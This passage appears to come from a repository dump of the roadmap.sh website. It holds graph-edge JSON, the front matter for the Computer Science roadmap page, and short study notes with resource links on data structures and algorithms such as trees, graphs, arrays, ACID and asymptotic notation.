\"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iPN9mSyFwYZER5HSkj6oL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-iPN9mSyFwYZER5HSkj6oLy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"BGhJNtszbYJtKyhqr2jax\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-BGhJNtszbYJtKyhqr2jaxy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"J7DKRklMtJ94Y-18Jo50r\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-J7DKRklMtJ94Y-18Jo50ry1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PpFQ0zmObZLvmBvqhTEMz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-PpFQ0zmObZLvmBvqhTEMzy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_2Jddpz_cdwyeIgrg5qt_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-_2Jddpz_cdwyeIgrg5qt_y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-De1hU2ONGwhQmUpsyrCO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cdNi0EYrQ5nsgNxFVnXL8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--De1hU2ONGwhQmUpsyrCOx2-YLCmZvoLkhOk9wlgYW2Msw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cdNi0EYrQ5nsgNxFVnXL8\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HZ3_xyphbjhBPwwQo_rHH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msx2-HZ3_xyphbjhBPwwQo_rHHw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cdNi0EYrQ5nsgNxFVnXL8\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YLCmZvoLkhOk9wlgYW2Ms\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cdNi0EYrQ5nsgNxFVnXL8z2-YLCmZvoLkhOk9wlgYW2Msy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YLCmZvoLkhOk9wlgYW2Ms\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"4qUVacMEz3XFiL_dMre6P\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YLCmZvoLkhOk9wlgYW2Msz2-zvlTQ0A-My4QDrslp_lruw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7DF3UhefOSqqTuccH8c8X\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"w-fvEiSJysywR3AOAB0ve\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7DF3UhefOSqqTuccH8c8Xy2-zvlTQ0A-My4QDrslp_lruz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w-fvEiSJysywR3AOAB0ve\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-34WGppX6QC5fkCvfCghp\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zvlTQ0A-My4QDrslp_lrux2--34WGppX6QC5fkCvfCghpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w-fvEiSJysywR3AOAB0ve\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zvlTQ0A-My4QDrslp_lru\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-w-fvEiSJysywR3AOAB0vey2-zvlTQ0A-My4QDrslp_lruz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zvlTQ0A-My4QDrslp_lru\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zG5t3HqbZnh9CGRqp1Sb-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zvlTQ0A-My4QDrslp_lruy2-JnJbJtsqKbVETY2vdLqCOz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zG5t3HqbZnh9CGRqp1Sb-\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"u-c-UFegRb7xqsmvj9gVb\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOw2-u-c-UFegRb7xqsmvj9gVbx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zG5t3HqbZnh9CGRqp1Sb-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zG5t3HqbZnh9CGRqp1Sb-x2-JnJbJtsqKbVETY2vdLqCOw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"7r7o8pYhFHVAJIv0wNT6X\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOz2-7r7o8pYhFHVAJIv0wNT6Xy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bDZ34BPm3lX06ERSE10cY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOz2-bDZ34BPm3lX06ERSE10cYy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EX_e4B6G07zTb4JjJ7482\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOz2-EX_e4B6G07zTb4JjJ7482y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3rPSp135TdSCyvXzEzn4p\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOz2-3rPSp135TdSCyvXzEzn4py1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JnJbJtsqKbVETY2vdLqCO\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"-emdKpD5uRNuvem5rbFXJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-JnJbJtsqKbVETY2vdLqCOx2-K96ggeWqd5OwoNnkL04pcy1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-emdKpD5uRNuvem5rbFXJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1eglba39q426Nh0E0qcdj\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-K96ggeWqd5OwoNnkL04pcx2-1eglba39q426Nh0E0qcdjw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-emdKpD5uRNuvem5rbFXJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ETEUA7jaEGyOEX8tAVNWs\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--emdKpD5uRNuvem5rbFXJz2-K96ggeWqd5OwoNnkL04pcy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ETEUA7jaEGyOEX8tAVNWs\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"O6-vG3FuoYet4D0hbiyrv\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-K96ggeWqd5OwoNnkL04pcw2-O6-vG3FuoYet4D0hbiyrvx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ETEUA7jaEGyOEX8tAVNWs\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xUo5Ox_HTgGyeQMDIkVyK\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-K96ggeWqd5OwoNnkL04pcx2-xUo5Ox_HTgGyeQMDIkVyKw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/computer-science/computer-science.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/computer-science.json'\npdfUrl: '/pdfs/roadmaps/computer-science.pdf'\norder: 1\nrenderer: 'editor'\nbriefTitle: 'Computer Science'\nbriefDescription: 'Curriculum with free resources for a self-taught developer.'\ntitle: 'Computer Science'\ndescription: 'Computer Science curriculum with free resources for a self-taught developer.'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 3550\nschema:\n  headline: 'Computer Science Roadmap'\n  description: 'Computer Science roadmap for the self-taught developers and bootcamp grads. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/computer-science.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Computer Science Roadmap: Curriculum for the self taught developer'\n  description: 'Computer Science study plan with free resources for the self-taught and bootcamp grads wanting to learn Computer Science.'\n  keywords:\n    - 'computer science'\n    - 'computer science roadmap'\n    - 'computer science roadmap 2024'\n    - 'computer science roadmap 2025'\n    - 'guide to computer science'\n    - 'software engineer roadmap'\n    - 'software engineer roadmap 2024'\n    - 'software engineer roadmap 2025'\n    - 'self-taught computer science roadmap'\n    - 'computer science skills'\n    - 'computer science skills test'\n    - 'cs roadmap'\n    - 'computer science curriculum'\n    - 'cs curriculum'\n    - 'compscience roadmap'\n    - 'comp science roadmap'\n    - 'skills for computer science'\n    - 'what is computer science'\n    - 'computer science quiz'\n    - 'computer science interview questions'\nrelatedRoadmaps:\n  - 'linux'\n  - 'php'\n  - 'blockchain'\n  - 'aws'\n  - 'devops'\n  - 'software-design-architecture'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/2-3-4-trees@IaPd_zuLbiOCwoSHQLoIG.md",
    "content": "# 2-3-4 Search Trees\n\nIn practice: For every 2-4 tree, there are corresponding red–black trees with data elements in the same order. The insertion and deletion operations on 2-4 trees are also equivalent to color-flipping and rotations in red–black trees. This makes 2-4 trees an important tool for understanding the logic behind red–black trees, and this is why many introductory algorithm texts introduce 2-4 trees just before red–black trees, even though 2-4 trees are not often used in practice.\n\nVisit the following resources to learn more:\n\n- [@article@CS 61B Lecture 26: Balanced Search Trees](https://archive.org/details/ucberkeley_webcast_zqrqYXkth6Q)\n- [@video@Bottom Up 234-Trees](https://www.youtube.com/watch?v=DQdMYevEyE4&index=4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n- [@video@Top Down 234-Trees](https://www.youtube.com/watch?v=2679VQ26Fp4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=5)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/2-3-search-trees@3jiV9R82qxpqIGfpEq_wK.md",
    "content": "# 2-3 Search Trees\n\nIn practice: 2-3 trees have faster inserts at the expense of slower searches (since height is more compared to AVL trees).\n\nYou would use 2-3 tree very rarely because its implementation involves different types of nodes. Instead, people use Red Black trees.\n\nVisit the following resources to learn more:\n\n- [@video@23-Tree Intuition and Definition](https://www.youtube.com/watch?v=C3SsdUqasD4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=2)\n- [@video@Binary View of 23-Tree](https://www.youtube.com/watch?v=iYvBtGKsqSg&index=3&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n- [@video@2-3 Trees (student recitation)](https://www.youtube.com/watch?v=TOb1tuEZ2X4&index=5&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/a-algorithm@Yrk2PLUa-_FAPlhCkMl3e.md",
    "content": "# A* Algorithm\n\nA\\* is a graph traversal algorithm that is used to find the shortest path between two nodes in a graph. It is a modified version of Dijkstra's algorithm that uses heuristics to find the shortest path. It is used in pathfinding and graph traversal.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to the A* Algorithm - Red Blob Games](https://www.redblobgames.com/pathfinding/a-star/introduction.html)\n- [@article@A* Search Algorithm - Wikipedia](https://en.wikipedia.org/wiki/A*_search_algorithm)\n- [@video@A* Pathfinding (E01: algorithm explanation)](https://www.youtube.com/watch?v=-L-WgKMFuhE)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/acid-model@W5B-v-BFcCRmuN0L1m6PI.md",
    "content": "# ACID\n\nACID are the four properties of any database system that help in making sure that we are able to perform the transactions in a reliable manner. It's an acronym which refers to the presence of four properties: atomicity, consistency, isolation and durability\n\nVisit the following resources to learn more:\n\n- [@article@What is ACID Compliant Database?](https://retool.com/blog/whats-an-acid-compliant-database/)\n- [@article@What is ACID Compliance?: Atomicity, Consistency, Isolation](https://fauna.com/blog/what-is-acid-compliance-atomicity-consistency-isolation)\n- [@video@ACID Explained: Atomic, Consistent, Isolated & Durable](https://www.youtube.com/watch?v=yaQ5YMWkxq4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/activity-diagrams@ptfRNiU0mC0Q5SLA_FWZu.md",
    "content": "# Activity Diagrams\n\nActivity diagrams are used to model the flow of control in a system. They are used in conjunction with use case diagrams to model the behavior of the system for each use case. They are also used to model the behavior of a single class.\n\nVisit the following resources to learn more:\n\n- [@article@UML Activity Diagram Tutorial](https://www.lucidchart.com/pages/uml-activity-diagram)\n- [@article@What is Activity Diagram?](https://www.visual-paradigm.com/guide/uml-unified-modeling-language/what-is-activity-diagram/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/adjacency-list@rTnKJcPniUtqvfOyC88N0.md",
    "content": "# Graph Representation\n\nA graph can either be represented as an adjacency matrix or an adjacency list.\n\nThe adjacency matrix is a 2D array of size `V x V` where `V` is the number of vertices in a graph. Let the 2D array be `adj[][]`, a slot `adj[i][j] = 1` indicates that there is an edge from vertex `i` to vertex `j`.\n\nAdjacency list is an array of vectors. Size of the array is equal to the number of vertices. Let the array be `array[]`. An entry `array[i]` represents the list of vertices adjacent to the ith vertex. This representation can also be used to represent a weighted graph. The weights of edges can be represented as lists of pairs.\n\nVisit the following resources to learn more:\n\n- [@article@Adjacency Matrix - Graph Representation](https://www.programiz.com/dsa/graph-adjacency-matrix)\n- [@article@Adjacency List - Graph Representation](https://www.programiz.com/dsa/graph-adjacency-list)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/adjacency-matrix@HZ1kk0TQ13FLC9t13BZl5.md",
    "content": "# Adjacency Matrix\n\nAn adjacency matrix is a square matrix used to represent a finite graph. It is used to represent the connections between vertices in a graph. The matrix is filled with 0s and 1s, where a 1 represents a connection between two vertices and a 0 represents no connection.\n\nVisit the following resources to learn more:\n\n- [@article@Adjacency Matrix](https://en.wikipedia.org/wiki/Adjacency_matrix)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/architectural-patterns@BGhJNtszbYJtKyhqr2jax.md",
    "content": "# Architectural Patterns\n\nArchitectural patterns are a high-level design pattern that focuses on the overall structure of the system. They are similar to design patterns, but they are more concerned with the structure of the system. They are used to solve problems that are common to many software systems.\n\nVisit the following resources to learn more:\n\n- [@article@10 Common Software Architectural Patterns in a nutshell](https://towardsdatascience.com/10-common-software-architectural-patterns-in-a-nutshell-a0b47a1e9013)\n- [@article@Architectural Pattern - Wikipedia](https://en.wikipedia.org/wiki/Architectural_pattern)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/architectural-styles@X1wv7xV69IEzepg8bF8oZ.md",
    "content": "# Architectural Styles\n\nArchitectural patterns are the fundamental organization of a system, defining how the system is composed and how its components interact. Architectural patterns are identified by their name, like client-server, peer-to-peer, and layered.\n\nVisit the following resources to learn more:\n\n- [@article@List of Software Architecture Styles and Patterns](https://en.wikipedia.org/wiki/List_of_software_architecture_styles_and_patterns)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/array@TwW6SO2IXqkxJXVjLzdwU.md",
    "content": "# Array\n\nArrays store elements in contiguous memory locations, resulting in easily calculable addresses for the elements stored and this allows faster access to an element at a specific index.\n\nVisit the following resources to learn more:\n\n- [@course@Array Data Structure - Coursera](https://www.coursera.org/lecture/data-structures/arrays-OsBSF)\n- [@article@What is Array in Data Structure? Types & Syntax](https://www.simplilearn.com/tutorials/data-structure-tutorial/arrays-in-data-structure)\n- [@video@Array Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=QJNwK2uJyGs)\n- [@video@Jagged Arrays](https://www.youtube.com/watch?v=1jtrQqYpt7g)\n- [@video@Dynamic and Static Arrays](https://www.youtube.com/watch?v=PEnFFiQe1pM&list=PLDV1Zeh2NRsB6SWUrDFW2RmDotAfPbeHu&index=6)\n- [@video@Dynamic Array Code](https://www.youtube.com/watch?v=tvw4v7FEF1w&list=PLDV1Zeh2NRsB6SWUrDFW2RmDotAfPbeHu&index=5)\n- [@video@UC Berkeley CS61B - Linear and Multi-Dim Arrays (Start watching from 15m 32s)](https://archive.org/details/ucberkeley_webcast_Wp8oiO_CZZE)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/ascii@hmwsNp60alS43kJg4A_Og.md",
    "content": "# ASCII\n\nASCII is a character encoding standard for electronic communication. It was developed from telegraph code and uses 7 bits to represent 128 different characters. The first 32 characters are non-printable control characters used to control devices like printers and typewriters. The remaining 96 characters are printable and include the letters of the English alphabet, numbers, punctuation, and various symbols.\n\nVisit the following resources to learn more:\n\n- [@article@Must Know about Character Encodings](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n- [@article@Character Encoding](https://cs.lmu.edu/~ray/notes/charenc/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/asymptotic-notation@UpBrpmrUwYUB9eesNxCq5.md",
    "content": "# Asymptotic Notation\n\nThe efficiency of an algorithm depends on the amount of time, storage and other resources required to execute the algorithm. The efficiency is measured with the help of asymptotic notations.\n\nAn algorithm may not have the same performance for different types of inputs. With the increase in the input size, the performance will change.\n\nThe study of change in performance of the algorithm with the change in the order of the input size is defined as asymptotic analysis.\n\nVisit the following resources to learn more:\n\n- [@article@Asymptotic Analysis: Big-O Notation and More](https://www.programiz.com/dsa/asymptotic-notations)\n- [@article@Big-O Cheat Sheet](https://www.bigocheatsheet.com/)\n- [@article@Big O Notation | Brilliant Math & Science Wiki](https://brilliant.org/wiki/big-o-notation/)\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notation in 5 Minutes](https://www.youtube.com/watch?v=__vX2sjlpXU)\n- [@video@Asymptotic Notation - CS50](https://www.youtube.com/watch?v=iOq5kSKqeR4)\n- [@video@CS 61B Lecture 19: Asymptotic Analysis](https://archive.org/details/ucberkeley_webcast_VIS4YDpuP98)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/avl-trees@OUistS7H7hQQxVV-lOg39.md",
    "content": "# AVL Trees\n\nAVL trees are a type of self-balancing binary search tree. They are named after their inventors, Adelson-Velskii and Landis. AVL trees are the most popular self-balancing binary search tree.\n\nIn practice: From what I can tell, these aren't used much in practice, but I could see where they would be: The AVL tree is another structure supporting O(log n) search, insertion, and removal. It is more rigidly balanced than red–black trees, leading to slower insertion and removal but faster retrieval. This makes it attractive for data structures that may be built once and loaded without reconstruction, such as language dictionaries (or program dictionaries, such as the opcodes of an assembler or interpreter)\n\nVisit the following resources to learn more:\n\n- [@course@AVL Trees](https://www.coursera.org/learn/data-structures/lecture/Qq5E0/avl-trees)\n- [@course@AVL Tree Implementation](https://www.coursera.org/learn/data-structures/lecture/PKEBC/avl-tree-implementation)\n- [@course@Split And Merge](https://www.coursera.org/learn/data-structures/lecture/22BgE/split-and-merge)\n- [@article@AVL Tree - Programiz](https://www.programiz.com/dsa/avl-tree)\n- [@video@MIT AVL Trees / AVL Sort](https://www.youtube.com/watch?v=FNeL18KsWPc&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=6)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/b-tree@s0Pi6CemUUsmZSEu2j2gH.md",
    "content": "# B-Trees\n\nFun fact: it's a mystery, but the B could stand for Boeing, Balanced, or Bayer (co-inventor).\n\nIn Practice: B-Trees are widely used in databases. Most modern filesystems use B-trees (or Variants). In addition to its use in databases, the B-tree is also used in filesystems to allow quick random access to an arbitrary block in a particular file. The basic problem is turning the file block i address into a disk block (or perhaps to a cylinder-head-sector) address\n\nVisit the following resources to learn more:\n\n- [@article@B-Tree - Wikipedia](https://en.wikipedia.org/wiki/B-tree)\n- [@article@B-Tree Datastructure](http://btechsmartclass.com/data_structures/b-trees.html)\n- [@video@Introduction to B-Trees](https://www.youtube.com/watch?v=I22wEC1tTGo&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=6)\n- [@video@B-Tree Definition and Insertion](https://www.youtube.com/watch?v=s3bCdZGrgpA&index=7&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n- [@video@B-Tree Deletion](https://www.youtube.com/watch?v=svfnVhJOfMc&index=8&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n- [@video@B-Trees (playlist) in 26 minutes](https://www.youtube.com/playlist?list=PL9xmBV_5YoZNFPPv98DjTdD9X6UI9KMHz)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/balanced-search-trees@7DF3UhefOSqqTuccH8c8X.md",
